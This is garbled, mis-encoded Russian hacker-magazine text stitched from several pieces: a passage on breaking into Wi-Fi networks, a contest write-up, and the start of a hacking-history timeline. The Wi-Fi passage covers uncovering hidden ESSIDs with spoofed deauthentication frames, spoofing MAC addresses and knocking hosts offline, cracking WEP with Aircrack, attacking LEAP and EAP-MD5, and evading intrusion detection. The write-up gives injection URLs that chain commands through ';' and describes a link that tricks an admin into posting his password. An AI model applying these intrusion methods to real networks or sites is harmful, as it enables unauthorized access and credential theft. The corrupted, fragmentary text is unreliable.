è OpenBSD, MacOSX (è äàæå íà âèíäó ñ ïîìîùüþ
Cygwin'à). Íàéòè ïîñëåäíþþ âåðñèþ Kismet ìîæíî íà ñàé-
òå www.kismetwireless.net. Ïðåæäå, ÷åì ñîáèðàòü Kismet
íàñòîÿòåëüíî ðåêîìåíäóþ òåáå îáçàâåñòèñü (åñëè ó òåáÿ
åãî íåò) Ethernal'îì, êîòîðûé ïðèãîäèòñÿ äëÿ èçó÷åíèÿ
äàìïîâ, ñôîðìèðîâàííûõ Kismet'îì. Åñëè ó òåáÿ åñòü
GPS-ïðèåìíèê, òî òîãäà íåïëîõî óñòàíîâèòü åùå è
GpsDrive, èíòåãðèðóþùèé ñ Kismet c íèì. Êîìïèëÿöèÿ
Kismet âåñüìà ïðîñòà è íå äîëæíà âûçâàòü êàêèõ-ëèáî
ñëîæíîñòåé. Åñëè áóäåò ÷òî-òî íåïîíÿòíî, òî ïðî÷èòàé
README, òàì âñå î÷åíü ïîäðîáíî ðàñïèñàíî.

Äëÿ íàñòðîéêè Kismet ïîä íàøè íóæäû îòêðû-
âàåì /usr/local/etc/kismet.conf. Çäåñü íóæíî ñäå-
ëàòü íåñêîëüêî âåùåé:

�  îòêëþ÷èòü ôèëüòðàöèþ MAC-àäðåñîâ
�  ðàçðåøèòü óñòàíàâëèâàòü ñîåäèíåíèÿ ñ IP
127.0.0.1
�  âûñòàâèòü maxclient ðàâíûì 1
�  óñòàíîâèòü â çíà÷åíèå source èñòî÷íèê ïå-
ðåõâàòûâàåìûõ äàííûõ
�  íàñòðîèòü èíòåðâàë ìåæäó îïåðàöèÿìè çàïèñè
�  óñòàíîâèòü ïàðàìåòðû noiselog è beaconlog â
çíà÷åíèå false
�  íàäåëèòü ïðàâàìè çàïóñêà Kismet ïîëüçî-
âàòåëÿ, ïîä êîòîðûì òû îáû÷íî ðàáîòàåøü,
åñëè, êîíå÷íî, íå ñîáèðàåøüñÿ ðàáîòàòü ïîä
ðóòîì.
�  åñëè íåîáõîäèìî, íàñòðîèòü GPS

Òåïåðü î òîì, êàêèìè ïîëåçíûìè óìåíèÿìè îá-
ëàäàåò ýòà ïðîãà. Âî-ïåðâûõ, îíà âûâîäèò èí-
ôîðìàöèþ î òîì, ÷òî òî÷êà äîñòóïà èìååò êîíôèãóðàöèþ «ïî óìîë÷àíèþ», âûëàâëè-
âàåò ïðîáíûå çàïðîñû «çàòåðÿâøèõñÿ» õîñòîâ, à òàêæå ïðîáíûå çàïðîñû Íåòñòàìá-
ëåðà, ìîæåò «íà ëåòó» ðàñøèôðîâûâàòü ïàêåòû, åñëè çàäàòü ïðàâèëüíûé WEP, à â
ñëó÷àå îáíàðóæåíèÿ IP-àäðåñîâ, îïðåäåëÿåò, êàêîé ïðîòîêîë ïðèìåíÿåòñÿ äëÿ èõ
ðàñïîçíàíèÿ (ARP, TCP, UDP èëè DHCP). Âî-âòîðûõ, îíà ãåíåðèðóåò äàìïû â ôîð-
ìàòå pcap, ÷òî ïîçâîëÿåò ïðîñìàòðèâàòü èõ çàòåì ñ ïîìîùüþ àíàëèçàòîðà ñåòåâûõ
ïðîòîêîëîâ Ethernal.
Ñóùåñòâóåò åùå ìíîæåñòâî ïðîãðàìì, óìåþùèõ îáíàðóæèâàòü áåñïðîâîäíûå ñåòè
ñòàíäàðòà 802.11, ñðåäè íèõ ÿ áû âûäåëèë òàêèå èíñòðóìåíòû, êàê Airfart è êîíñîëü-
íóþ òóëçó WifiScanner. Îáå ýòè ïðîãðàììû ðàáîòàþò òîëüêî íà êàðòàõ ñ íàáîðîì
ìèêðîñõåì Prism è íóæäàþòñÿ â äðîâàõ linux-wlan-ng.

[îáõîäèì áàðüåðû] Ïðîñòåéøàÿ çàùèòà ñåòè Wi-Fi îò íåçàêîííîãî âòîðæåíèÿ
ìîæåò îñóùåñòâëÿòüñÿ ñ ïîìîùüþ òàêèõ ìåòîäîâ, êàê: ñêðûòèå ESSID-ñåòè îò ïîñ-
òîðîííèõ ãëàç, ôèëüòðàöèÿ MAC-àäðåñîâ è ôèëüòðàöèÿ ïðîòîêîëîâ. Äàâàé ïîñìîò-
ðèì, ÷òî ìû ìîæåì ïðîòèâîïîñòàâèòü ýòîìó.
Åñëè ñåòü çàêðûòàÿ, òî åå ESSID (Extended Service Set ID � ñëóæåáíûé èäåíòèôèêà-
òîð ñåòè) íå ôèãóðèðóåò â öèðêóëèðóþùèõ â
íåé ôðåéìàõ. Íå çíàÿ ESSID-ñåòè, âçëîìùèê
íå ìîæåò ïðèñîåäèíèòüñÿ ê íåé. Íà ñàìîì äåëå
ESSID ïðèñóòñòâóåò â çàïðîñàõ íà ïîâòîðíóþ
àóòåíòèôèêàöèþ è ïîâòîðíîå ïðèñîåäèíåíèå,
à, çíà÷èò, ìîæíî óçíàòü ESSID, ïîñëàâ ïîä-
äåëüíûé ôðåéì äåàóòåíòèôèêàöèè õîñòó îò
MAC-àäðåñà òî÷êè äîñòóïà. Çàòåì íóæíî ïå-
ðåõâàòèòü ôðåéì, ïîñûëàåìûé õîñòîì, ñîäåð-
æàùèé èíòåðåñóþùèé íàñ ESSID. Ðåàëèçîâàòü
ýòî ëåãêî ìîæíî ñ ïîìîùüþ óòèëèòû

Ñëåäóåò ïîíèìàòü, ÷òî ïðà-
âîâàÿ îöåíêà âçëîìà áåñï-
ðîâîäíûõ ñåòåé ìàëî îò-
ëè÷àåòñÿ îò õàêà îáûêíî-
âåííûõ. Âñå ýòî íàêàçûâà-
åòñÿ ÓÊ òâîåé ñòðàíû. Òàê
÷òî íå ñëåäóåò íàðóøàòü
çàêîíîâ, ïðèÿòåëü.

â ãóãëå ïîëíî èíôîðìàöèè î ðà-
áîòå ñ kismet

íåòñòàìáëåð � ÷óòü ëè íå åäèí-
ñòâåííàÿ áåñïëàòíàÿ ñîôòèíà äëÿ
Wi-Fi ïîä âèíäîéïðîñìîòð äàìïà Kismet ñ ïîìîùüþ Ethernal

Â îäíîì èç áëèæàéøèõ íî-
ìåðîâ òåáÿ æäåò èíòåðåñ-
íàÿ ñòàòüÿ î çàùèòå Wi-Fi,
îðãàíèçàöèè IDS è ïðîòè-
âîñòîÿíèè âîçäóøíûõ õà-
êåðàì. Íå ïðîïóñòè!

Íà íàøåì äèñêå òû íàé-
äåøü âåñü ñîôò, êîòîðûé
áûë óïîìÿíóò â ýòîé
ñòàòüå.
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essid_jack, ñîäåðæà-
ùåéñÿ â êîìïëåêòå
ïðîãðàìì AirJack. Â
ñâîåé ñòàòüå î DoS-
àòàêàõ â ñåòÿõ Wi-Fi ÿ
óæå ïèñàë îá
AirJack'å, ïîýòîìó íå
áóäó çàîñòðÿòü çäåñü
íà íåì âíèìàíèÿ.
Âîçìîæåí òàêîé âàðè-
àíò ñîáûòèé, êîãäà
òî÷êà äîñòóïà îäíà, è

íåò â íàñòîÿùèé ìîìåíò âçàèìî-
äåéñòâóþùèõ ñ íåé õîñòîâ. Â ýòîì
ñëó÷àå îñòàåòñÿ îïðîáîâàòü âàðè-
àíò ESSID, õàðàêòåðíûé äëÿ íàñò-
ðîåê «ïî óìîë÷àíèþ» ïðîèçâîäè-
òåëÿ äàííîé òî÷êè äîñòóïà. Íåêî-
òîðûå àäìèíû, çàêðûâ ñåòü, äàæå
íå ïîäóìûâàþò èçìåíèòü èõ çíà÷å-
íèÿ. 
Ôèëüòðàöèÿ MAC-àäðåñîâ âîîáùå
îáõîäèòñÿ ïðîùå ïðîñòîãî. Íóæíî
èçó÷èòü òðàôèê íà ïðåäìåò âñòðå-

÷àþùèõñÿ MAC-àäðåñîâ, è êîãäà êàêîé-íèáóäü õîñò îòñîåäèíèòñÿ îò ñå-
òè, ìîæíî ïðèñîåäèíèòñÿ ê íåé, óñòàíîâèâ ñåáå òàêîé æå MAC. Åñëè
æäàòü îòñîåäèíåíèÿ õîñòà íå õî÷åòñÿ, òî ìîæíî âûêèíóòü ýòîò õîñò èç
ñåòè, çàäîñèâ åãî :).
Ôèëüòðàöèÿ ïðîòîêîëîâ ïðèìåíÿåòñÿ íàìíîãî ðåæå, ÷åì ôèëüòðàöèÿ
MAC-àäðåñîâ è ñêðûòèå ESSID, òàê êàê ýòî íå âñåãäà óäîáíî äëÿ ðàáî-
òû â ñåòè è íå âî âñåõ òî÷êàõ äîñòóïà ìîæíî íîðìàëüíî èñïîëüçîâàòü
åå. Åñëè òû ñòîëêíóëñÿ ñ òàêîé ñåòüþ, òî ìîãó òåáå ïîñîâåòîâàòü èñïû-
òàòü íà ïðåäìåò íàëè÷èÿ óÿçâèìîñòåé ðàçðåøåííûå â ñåòè ïðîòîêîëû.
Îáû÷íî òàêèìè ïðîòîêîëàìè ÿâëÿþòñÿ SSH è HTTPS. Åñëè èñïîëüçóþò-
ñÿ óñòàðåâøèå âåðñèè ïðîòîêîëîâ, òî íàâåðíÿêà â íèõ åñòü äûðû, êîòî-
ðûå ìîæíî ïðîýêñïëóàòèðîâàòü. Êðîìå òîãî, âåñüìà ïîëåçíîé ìîæåò
îêàçàòüñÿ òåõíèêà àòàê Man-in-the-Middle.

[óäåëàåì WEP] Ïðî âçëîì ïðîòîêîëà WEP íàïèñàíî óæå ñòîëüêî, ÷òî
ñîçäàåòñÿ îùóùåíèå, ÷òî ýòî ÷óòü ëè íå åäèíñòâåííàÿ è ñàìàÿ ãëàâíàÿ
çàùèòà áåñïðîâîäíûõ ñåòåé îò âòîðæåíèé, è ÷òî íà ýòîì îãðàíè÷èâàþò-
ñÿ ñðåäñòâà áåçîïàñíîñòè ñåòåé Wi-Fi. ×òî æ, ñóäÿ ïî ñòàòèñòèêå, ýòî âåð-
íî â êàæäîì òðåòüåì ñëó÷àå. Âûäåëÿþò íåñêîëüêî âèäîâ àòàê íà WEP:

�  àòàêà ìåòîäîì ïîëíîãî ïåðåáîðà � âîçìîæåí ïîäáîð òîëüêî 40-áèò-
íîãî êëþ÷à (â WEP ïðèìåíÿþòñÿ 64-õ è 128-ìè 256-òè 512-áèòíûå êëþ-
÷è, íî òàê êàê ïåðâûå 24 áèòà çàíèìàåò òàê íàçûâàåìûé âåêòîð èíèöè-
àëèçàöèè (IV), ïåðåäàþùèéñÿ â îòêðûòîì âèäå, òî ìîæíî ãîâîðèòü, ÷òî
äëèíà êëþ÷åé ñîñòàâëÿåò 40 è 104 è ò.ä. áèòà), íî òàêàÿ àòàêà ìîæåò çà-
íÿòü äîâîëüíî ïðîäîëæèòåëüíîå âðåìÿ, à ïîòîìó íåýôôåêòèâíà
�  àòàêà ïî ñëîâàðþ � ìîæåò îñóùåñòâëÿòüñÿ ïðîòèâ îäíîãî ïåðåõâà-
÷åííîãî ïàêåòà, îíà ðåàëèçîâàíà â ïðîãå Wepattack; â îòëè÷èå îò àòàêè
ìåòîäîì ïîëíîãî ïåðåáîðà, âîçìîæíà ðàñøèôðîâêà 104-áèòíîãî êëþ÷à
�  àòàêè ìåòîäîì ïîëíîãî ïåðåáîðà, ñ èñïîëüçîâàíèåì îïòèìèçèðóþ-
ùèõ àëãîðèòìîâ, � ìîãóò ñîêðàòèòü âðåìÿ ïîëíîãî ïåðåáîðà 40-áèòíî-
ãî êëþ÷à ñ íåñêîëüêèõ íåäåëü äî ïîëîâèíû ìèíóòû, íî ýòî ïðè óäà÷íîì
äëÿ õàêåðà ðàñêëàäå, à â öåëîì ýòè àòàêè òàêæå íåýôôåêòèâíû (64-áèò-
íîå øèôðîâàíèå âñòðå÷àåòñÿ î÷åíü ðåäêî)
�  àòàêà FMS � èìååò î÷åíü èíòåðåñíûé ìåõàíèçì, ïîçâîëÿþùèé ïðè
íàëè÷èè 6�8 ìëí. ïàêåòîâ îïðåäåëèòü çíà÷åíèå WEP
�  îïòèìèçèðîâàííûå àòàêè FMS � íàïðèìåð, õàêåð H1kari ñóìåë îïòè-
ìèçèðîâàòü àëãîðèòì FMS òàê, ÷òî êîëè÷åñòâî íåîáõîäèìûõ ïàêåòîâ
ñîêðàòèëîñü äî 500 òûñÿ÷
�  äðóãèå àòàêè � ñþäà ìîæíî âêëþ÷èòü ðàçëè÷íûå âñïîìîãàòåëüíûå
àòàêè, íàïðèìåð, âíåäðåíèå òðàôèêà äëÿ óñêîðåíèÿ ïðîöåññà ñáîðà íå-
îáõîäèìîãî êîëè÷åñòâà ïàêåòîâ.

Â ðåàëüíîñòè êîëè÷åñòâî íåîáõîäèìûõ äëÿ âçëîìà WEP ïåðåõâà-
÷åííûõ ôðåéìàõ ìîæåò êîëåáàòüñÿ â âåñüìà øèðîêèõ ïðåäåëàõ, íî
îáû÷íî ýòî 1,5�2 ìëí. ïàêåòîâ.
Íà ñåãîäíÿøíèé äåíü ïðîãè, âçëàìûâàþùèå WEP, èñïîëüçóþò, â îñíîâ-
íîì, òàê íàçûâàåìóþ àòàêó ïî ìåòîäó Ôëóåðà-Ìàíòèíà-Øàìèðà èëè
àòàêó FMS, ðàçðàáîòàííóþ â 2001 ãîäó Ñêîòòîì Ôëóåðîì (Scott Fluhrer),
Èöèêîì Ìàíòèíîì (Itsik Mantin) è Àäè Øàìèðîì (Adi Shamir), ïëþñ ðàç-
ëè÷íûå, îïòèìèçèðóþùèå ýòó àòàêó, àëãîðèòìû. Îäíîé èç ëó÷øèõ ïðîã-
ðàìì äëÿ âçëîìà WEP ÿâëÿåòñÿ íà ñåãîäíÿ Aircrack. Ïîìèìî àòàêè FMS,
îíà èñïîëüçóåò òàêæå íåñêîëüêî íîâûõ âèäîâ àòàê, ðàçðàáîòàííûõ õàêå-

ðîì KoreK. Äëÿ âçëîìà WEP íóæíî ñêîðìèòü Aircrack'ó ôàéë ñ ïåðåõâà-
÷åííûìè ïàêåòàìè â ôîðìàòå pcap.
Â ñåòÿõ ñ íèçêèì òðàôèêîì ïðîöåññ ñáîðà ïàêåòîâ ìîæåò âåñüìà çàòÿ-
íóòüñÿ. Â äîêóìåíòàöèè ê Aircrack'ó ïîäðîáíî îïèñàí ñïîñîá ðåøåíèÿ
ýòîé ïðîáëåìû ñ ïîìîùüþ äîïîëíèòåëüíîé êàðòû, ïîñûëàþùåé óæå ïå-
ðåõâà÷åííûå ôðåéìû ñíîâà «â ýôèð», ïðåäâàðèòåëüíî âñòàâëÿÿ â íèõ
ARP-çàïðîñû (õèòðî çàäóìàíî, íå ïðàâäà ëè?), ÷òî ïîçâîëèò ïîëó÷èòü
äîïîëíèòåëüíûé òðàôèê â âèäå îòâåòîâ íà íèõ. Íà ìîé âçãëÿä, ýòî íå
ñîâñåì óäîáíûé âàðèàíò èç-çà òîãî, ÷òî íå ó âñåõ åñòü äâå êàðòî÷êè Wi-
Fi. Àëüòåðíàòèâîé ìîæåò ïîñëóæèòü èñïîëüçîâàíèå ïðîãè File2Air, óìåþ-
ùåé ïîñûëàòü äàííûå â ðåæèìå ìîíèòîðèíãà.
Â ïðèíöèïå, åñòü åùå îäèí ñïîñîá óçíàòü WEP: åñëè ñåòü ïîäêëþ÷åíà ê
èíòåðíåòó, òî, ïðîíèêíóâ ÷åðåç íåãî íà îäíó èç ìàøèí, ìîæíî ïîïûòàòü-
ñÿ îïðåäåëèòü WEP-êëþ÷ ñåòåâîãî èíòåðôåéñà Wi-Fi. Ê ïðèìåðó, â
Linux-ñèñòåìå îí õðàíèòñÿ â ôàéëå /etc/pcmcia/wireless.opts.

[÷òî äàëüøå?] Çàùèòíûé ïîòåíöèàë áîëüøèíñòâà áåñïðîâîäíûõ ñå-
òåé íà ýòîì è çàêàí÷èâàåòñÿ. Íî áûâàåò, ÷òî íåò. Ñåòü ìîæåò ôóíêöèî-
íèðîâàòü íà áàçå ñòàíäàðòà 802.1x, ìîæåò áûòü ðàçâåðíóòà âèðòóàëüíàÿ
÷àñòíàÿ ñåòü (VPN). Çäåñü óñïåõ ïðîíèêíîâåíèÿ áóäåò çàâèñåòü îò ìíî-
æåñòâà ðàçëè÷íûõ ôàêòîðîâ. Óíèâåðñàëüíîãî àëãîðèòìà äàëüíåéøèõ
äåéñòâèé ïîïðîñòó íåò.
Â ñèñòåìå àóòåíòèôèêàöèè ïðîòîêîëà 802.1x ìîãóò èñïîëüçîâàòüñÿ ðàç-
ëè÷íûå ðåàëèçàöèè ïðîòîêîëà EAP: EAP-TLS, EAP-TTLS, EAP-PEAP, EAP-
LEAP, EAP-MD5. Íà ñ÷åò äâóõ ïîñëåäíèõ ìîãó ñêàçàòü, ÷òî îíè îáëàäàþò
óÿçâèìîñòÿìè. Ñóùåñòâóþò ñîôòèíû leapcrack, Asleap-imp äëÿ àòàêè ïðî-
òèâ EAP-LEAP. EAP-MD5 óÿçâèì ê àòàêå Man-in-the-Middle. Àòàêóþùèé ìî-
æåò âíåäðèòü ôàëüøèâóþ òî÷êó äîñòóïà ìåæäó õîñòîì è RADIUS-ñåðâå-
ðîì, ïåðåõâàòèâ âåñü ïåðåäàâàåìûé òðàôèê, â òîì ÷èñëå èìÿ è ïàðîëü.
Òåõíèêà ïðîíèêíîâåíèÿ â VPN, ðàçâåðíóòàÿ íà áàçå áåñïðîâîäíîé ñåòè,
àíàëîãè÷íà òîé, ÷òî ìîæåò ïðèìåíÿòüñÿ â ïðîâîäíûõ ñåòÿõ. Áîëüøèíñòâî
VPN òóííåëèðóþò òðàôèê ñ ïîìîùüþ ïðîòîêîëîâ PPTP (Point-to-Point
Tunneling Protocol) èëè IPSec. Äëÿ PPTP ñóùåñòâóåò ñïëîèò deceit.c îò Aleph
One. Ïðîòåñòèðîâàòü íà áåçîïàñíîñòü IPSec ïîìîæåò òóëçà Ike-scan. 

[ñèñòåìû IDS] Íà âñåì ïðîòÿæåíèè âçëîìà òû äîëæåí íå çàáûâàòü î
âîçìîæíîì íàëè÷èè ñèñòåìû îáíàðóæåíèÿ âòîðæåíèé, ñëåäÿùåé çà
ôóíêöèîíèðîâàíèåì ñåòè è âûÿâëÿþùåé ðàçëè÷íûå àíîìàëèè â íåé, òî
åñòü òåáÿ. ×òîáû ïðîíèêíóòü â ñåòü íåçàìåòíî, òåáå ïðèãîäÿòñÿ íåêîòî-
ðûå çíàíèÿ î ïðèíöèïàõ ôóíêöèîíèðîâàíèÿ ýòèõ ñèñòåì. IDS ìîæåò
áûòü ñèãíàòóðíîé, íà îñíîâå áàçû çíàíèé è ñìåøàííîãî òèïà. Ñèãíàòóð-
íûå IDS âêëþ÷àþò â ñåáÿ áàçó äàííûõ î ðàçëè÷íûõ ñîáûòèÿõ, õàðàêòåð-
íûõ äëÿ îïðåäåëåííûõ àòàê. Ñèñòåìû íà îñíîâå áàçû çíàíèé âåäóò ñòà-
òèñòèêó ðàáîòû ñåòè ïðè íîðìàëüíûõ óñëîâèÿõ åå ôóíêöèîíèðîâàíèÿ è
ñèãíàëèçèðóþò î ðàçëè÷íûõ îòêëîíåíèÿõ. Êàêèå æå äåéñòâèÿ âçëîìùè-
êà ìîãóò âûçâàòü òðåâîãó IDS?
Âî-ïåðâûõ, ýòî àêòèâíîå ñêàíèðîâàíèå. Ïîýòîìó èñïîëüçóé òîëüêî
ïàññèâíîå ñêàíèðîâàíèå. Âî-âòîðûõ, ïîñûëêà ôðåéìîâ ñ ïîäîçðè-
òåëüíûì ESSID. Ê ÷èñëó ïîäîçðèòåëüíûõ îáû÷íî ïðè÷èñëÿþòñÿ: ïóñ-
òûå, øèðîêîâåùàòåëüíûå ESSID, âíåñåííûå â áëýê-ëèñò è ò.ä. (êñòà-
òè, â ýòîì ëèñòå îáû÷íî ñîäåðæàòñÿ ESSID, ïðèìåíÿåìûå ðàçëè÷íû-
ìè õàêåðñêèìè ïðîãàìè, ïîýòîìó ïåðåä èõ ïðèìåíåíèåì èíîãäà íóæ-
íî ñëåãêà ïîäïðàâèòü èñõîäíèêè). Â-òðåòüèõ, íåïðàâèëüíî ïîääåëàí-
íûé MAC-àäðåñ (äåëî â òîì, ÷òî MAC-àäðåñ çàâèñèò îò ïðîèçâîäèòå-
ëÿ è îò êîíêðåòíîé ìîäåëè áåñïðîâîäíîãî îáîðóäîâàíèÿ, à IDS î÷åíü
íå íðàâèòñÿ, êîãäà ïîïàäàåòñÿ îáîðóäîâàíèå «íåèçâåñòíîãî» ïðîèç-
âîäèòåëÿ). Ïîñìîòðåòü äèàïàçîíû àäðåñîâ ðàçëè÷íîãî áåñïðîâîäíî-
ãî îáîðóäîâàíèÿ ìîæíî â ôàéëàõ conf/ap_manuf è conf/client_manuf â
êàòàëîãå, ñîäåðæàùåì Kismet.

[ )( ]
È íàïîñëåäîê. Ïåðåä òåì, êàê äâà ÷àñà ëîìàòü ñåòêó, îïûòíûé
âçëîìùèê âñåãäà îñìàòðèâàåò áëèçëåæàùóþ ìåñòíîñòü íà ïðåäìåò íàëè-
÷èÿ çíà÷êîâ, íàðèñîâàííûõ ìåëîì � íåêîòîðûå äîáðûå õàêåðû-âàð÷îêåðû
ïèøóò â íèõ âñå íåîáõîäèìûå äëÿ âõîäà â ñåòü äàííûå  

ðåçóëüòàò ðàáîòû Aircrack

kismet â äåéñòâèè

èêñîâàÿ âåðñèÿ kismet â Gnome



Îòãðåìåëî õìåëüíûì âåñåëüåì ñîëíå÷íîå ëåòî, çà-

ãîðåëûé è âåñåëûé, òû âåðíóëñÿ ñ îòäûõà, è ìû ñïå-

øèì çàíÿòü òâîè ìîçãè ïðîäóêòèâíûì ìûøëåíèåì.

Â ýòîì ìåñÿöå òåáå ïðèäåòñÿ êàê ñëåäóåò ïîäóìàòü,

÷òîáû ïîëó÷èòü ïðèç îò ðåäàêöèè. Ìû ðåøèëè, ÷òî

ïîñëå íåñêîëüêèõ ñòàòåé î âçëîìå ïðîãðàìì òåáå

ïîðà ïîïðîáîâàòü ñâîè ñèëû íà ýòîì ôðîíòå. Òàê

÷òî îòïðàâëÿéñÿ íà www.padonak.ru çà ïîäðîáíîñ-

òÿìè, à ïîêà ÿ ðàññêàæó òåáå, êàê íàäî áûëî â àâ-

ãóñòîâñêîì êîíêóðñå ïîñòóïàòü â èíñòèòóò. 

Íåñëîæíî çàìåòèòü â ñàìîì íà÷àëå, ÷òî âñå ãëîáàëü-

íûå ïåðåìåííûå ñîõðàíÿþòñÿ íà ñåðâåðå ïî-óáëþäñ-

êè: â âèäå òåêñòîâûõ ñòðîê php-êîäà $var1 = �var1�;

$var2 = �var2�; $var3 = �var3�, êîòîðûå çàòåì âûïîëíÿ-

þòñÿ ïðè ïîìîùè ôóíêöèè eval(). Òàêèì îáðàçîì ïîëó-

÷àåòñÿ, ÷òî åñëè ìû çàäàäèì ãëîáàëüíóþ ïåðåìåííóþ

var1 ðàâíîé ñòðîêå «$var2», òî â var1 îêàæåòñÿ çíà÷å-

íèå var2. Äàëåå, òåáå íóæíî áûëî íàãëûì îáðàçîì îäó-

ðà÷èòü àäìèíà. Ñîâåðøåííî ïîíÿòíî, ÷òî åñëè àäìè-

íèñòðàòîð ïåðåéäåò ïî ññûëêå www.padonak.ru/?get-

param&page=guestbook&msg=login:%20$login;pass:%2

0$pass, òî îí çàïîñòèò íà ãîñòåâîé êíèãå ñîîáùåíèå ñ

ñîáñòâåííûì ëîãèíîì è ïàðîëåì. Êàêèì æå îáðàçîì

ìîæíî ïîäêèíóòü ýòó ññûëêó àäìèíó? Äà î÷åíü ïðîñ-

òî, äëÿ ýòîãî äîñòàòî÷íî çàðåãèñòðèðîâàòü ïîëüçîâà-

òåëÿ ñ íåîáû÷íûì íèêîì www.padonak.ru/?get-

param&page=guestbook&msg=login:%20$login;pass:%2

0$pass è íàïèñàòü â êíèãó æàëîá �$login�. Â ýòîì ñëó-

÷àå äî àäìèíà óæå äîéäåò òðåáóåìàÿ ññûëêà, è ïîñ-

êîëüêó îí î÷åíü äîâåð÷èâûé ÷åëîâåê, òî ìèãîì ïå-

ðåéäåò ïî íåé è âûäàñò ñ ïîòðîõàìè ñâîé ïàðîëü. Ïîñ-

ëå òîãî, êàê òû ñòàë àäìèíîì è ïîëó÷èë ïðàâà äëÿ ñêà-

÷èâàíèÿ èñõîäíèêîâ ñàéòà, íåñëîæíî çàìåòèòü, ÷òî

ôîòî- è âèäåî-êàìåðû ïîëó÷àþò ôàéëû îò êàêèõ-òî

ñåðâåðîâ, ÷åðåç ìàøèíó-ïîñðåäíèêà. Ïðîìåæóòî÷íî-

ìó êîìïüþòåðó ïåðåäàþòñÿ ïàðàìåòðû ïîäêëþ÷åíèÿ,

àäðåñ è íîìåð êàìåðû, â òî âðåìÿ êàê ïîðò îí çíà-

åò ñàì. Ìåæäó êîìàíäàìè èñïîëüçóåòñÿ ñåïàðàòîð

«;», ïîýòîìó åñëè îáðàòèòüñÿ ïî àäðåñó www.padon-

ak.ru/?getparam&page=fotocamera&camera=0;, íà ýê-

ðàíå ïîÿâèòñÿ êóñîê ñïðàâêè, ãîâîðÿùèé î òîì, ÷òî

êîìàíäà SET_PORT óñòàíàâëèâàåò ïîðò äëÿ ïîäê-

ëþ÷åíèÿ. Òåïåðü òû äîëæåí ïîýêñïåðèìåíòèðîâàòü

è ïîïðîáîâàòü íàòðàâèòü ïîñðåäíèêà äëÿ ôîòîêà-

ìåðû íà âèäåîêàìåðó. Äëÿ ýòîãî òåáå íóæíî áûëî

íàïèñàòü ïðîñòåíüêóþ ïðîãðàììêó, êîòîðàÿ ïåðåá-

ðàëà áû âñå âàðèàíòû ïîðòîâ ïî øàáëîíó

http://www.padonak.ru/?getparam&page=fotocam-

era&camera=0;SET_PORT%20234.234.234.234;SET_

PORT%20[èñêîìûé_ïîðò]. Êîãäà òâîé ñêðèïò íàéäåò

ïîäõîäÿùèé ïîðò (9879), èç-çà ðàçíîãî êîëè÷åñòâà

ïîëó÷àåìûõ ïàðàìåòðîâ ïðîèçîéäåò ñäâèã âî âíóò-

ðåííèõ ïåðåìåííûõ ñêðèïòà, è, åñëè äëèòåëüíîñòü âè-

äåî áóäåò ðàâíîé 5, òî â ãðàôå îöåíêè ïîÿâèòñÿ ïà-

ðîëü ñóïåðàäìèíà. Äëèòåëüíîñòü ðàâíà 5, åñëè ñúåì-

êà èäåò ñî âòîðîé êàìåðû, äëÿ ýòîãî íàäî øàãíóòü íà

www.padonak.ru/?getparam&page=fotocamera&cam-

era=2;SET_PORT%20234.234.234.234;SET_PORT%20

9879. Èìåÿ ïðàâà ñóïåðàäìèíà, òû ñìîæåøü äîáàâèòü

ñåáÿ â áàçó äàííûõ è ñòàòü ñòóäåíòîì. Ïåðâûì ýòó

íàðêîìàíñêóþ öåïî÷êó ðàññóæäåíèé ïðîøåë õèòðîóì-

íûé àáèòóðèåíò BORMAN_BW (borman_bw@bk.ru) [X
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[9 ñåíòÿáðÿ 1945] Â Ãàðâàðäñêîì óíèâåðñè-
òåòå çàôèêñèðîâàí ïåðâûé â èñòîðèè êîìïüþ-
òåðíûé áàã. Ìîëü, ïîïàâøàÿ â ñèñòåìó ïåðå-
êëþ÷àòåëåé Mark II Aiken Calculator, çàìêíóëà
ïåðåäà÷ó äàííûõ, òåì ñàìûì, âûçâàâ îøèáêó.
Áàã óäàëîñü óñòðàíèòü, à íåñ÷àñòíîå íàñåêî-
ìîå ñîõðàíèëè â êà÷åñòâå ìóçåéíîãî ýêñïîíàòà
(à äÿäåíüêà Áèëë Ãåéòñ â ñâîåé êíèãå ïîòîì íà-
ïèñàë íå÷òî âðîäå «íàçûâàòü ìîëü æó÷êîì
(bug) íå ñîâñåì, êîíå÷íî, ïðàâèëüíî, íî òàê óæ
ïîøëî» :) � ïðèì. Ëîçîâñêîãî).
[1952] Ãðåéñ Ìþððåé Õîïïåð ïèøåò ïåðâûé
êîìïèëÿòîð, ïåðåâîäÿùèé èíñòðóêöèè êîìïüþ-
òåðó ñ àíãëèéñêîãî ÿçûêà íà ìàøèííûé. Òàê æå
ýòà æåíùèíà, ïîëó÷èâøàÿ èçâåñòíîñòü ñâîèìè
ðàáîòàìè â îáëàñòè ìàòåìàòèêè è àâòîìàòè÷å-
ñêîé îáðàáîòêè äàííûõ, ðàçðàáîòàëà ïåðâûé
ÿçûê ïðîãðàììèðîâàíèÿ COBOL (Common Busi-
ness-Oriented Language) äëÿ ìàøèí UNIVAC 1.
[1954] Ïîÿâèëñÿ íà ñâåò ïåðâûé ÿçûê âûñîêîãî
óðîâíÿ Fortran. Åãî àâòîðîì ñòàë Äæîí Áàêóñ.

ÂÑß ÍÀØÀ ÆÈÇÍÜ � ÝÒÎ ÄÀÒÛ. ÄÅÍÜ ÐÎÆ-
ÄÅÍÈß, ÄÅÍÜ ÃÎÑÓÄÀÐÑÒÂÅÍÍÎÃÎ ÔËÀÃÀ,
ÄÅÍÜ ÎÑÂÎÁÎÆÄÅÍÈß ÍÀÌÈÁÈÈ, ÍÎÂÛÉ
ÃÎÄ È ÂÎÑÜÌÎÅ ÌÀÐÒÀ. ÇÍÀÌÅÍÀÒÅËÜÍÛÅ
ÄÀÒÛ � ÍÅ ÒÎËÜÊÎ ÏÎÂÎÄ ÄËß ÕÎÐÎØÅÉ
ÂÛÏÈÂÊÈ. ÍÅÊÎÒÎÐÛÅ ÈÇ ÍÈÕ ÍÀÄÎ ÇÍÀÒÜ
È ×ÒÈÒÜ ÂÅ×ÍÎ :)  | mindw0rk (mindw0rk@gameland.ru)
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Âñÿ èñòîðèÿ õàêåðñòâà
â äàòàõ

[1958] Âòîðîé ÿçûê ïðîãðàììèðîâàíèÿ âûñîêîãî óðîâíÿ ïîëó÷èë íàçâà-
íèå Lisp è áûë ðàçðàáîòàí ïðîôåññîðîì èç ÌÒÈ Äæîíîì Ìàêêàðòè.
[1959] Ðîæäåíèå õàêåðñêîãî äâèæåíèÿ â Ìàññà÷óñåòñêîì Òåõíîëîãè÷å-
ñêîì Óíèâåðñèòåòå. Ðàáîòàÿ ñíà÷àëà íà ãðîìîçäêèõ ìåéíôðåéìàõ IBM,
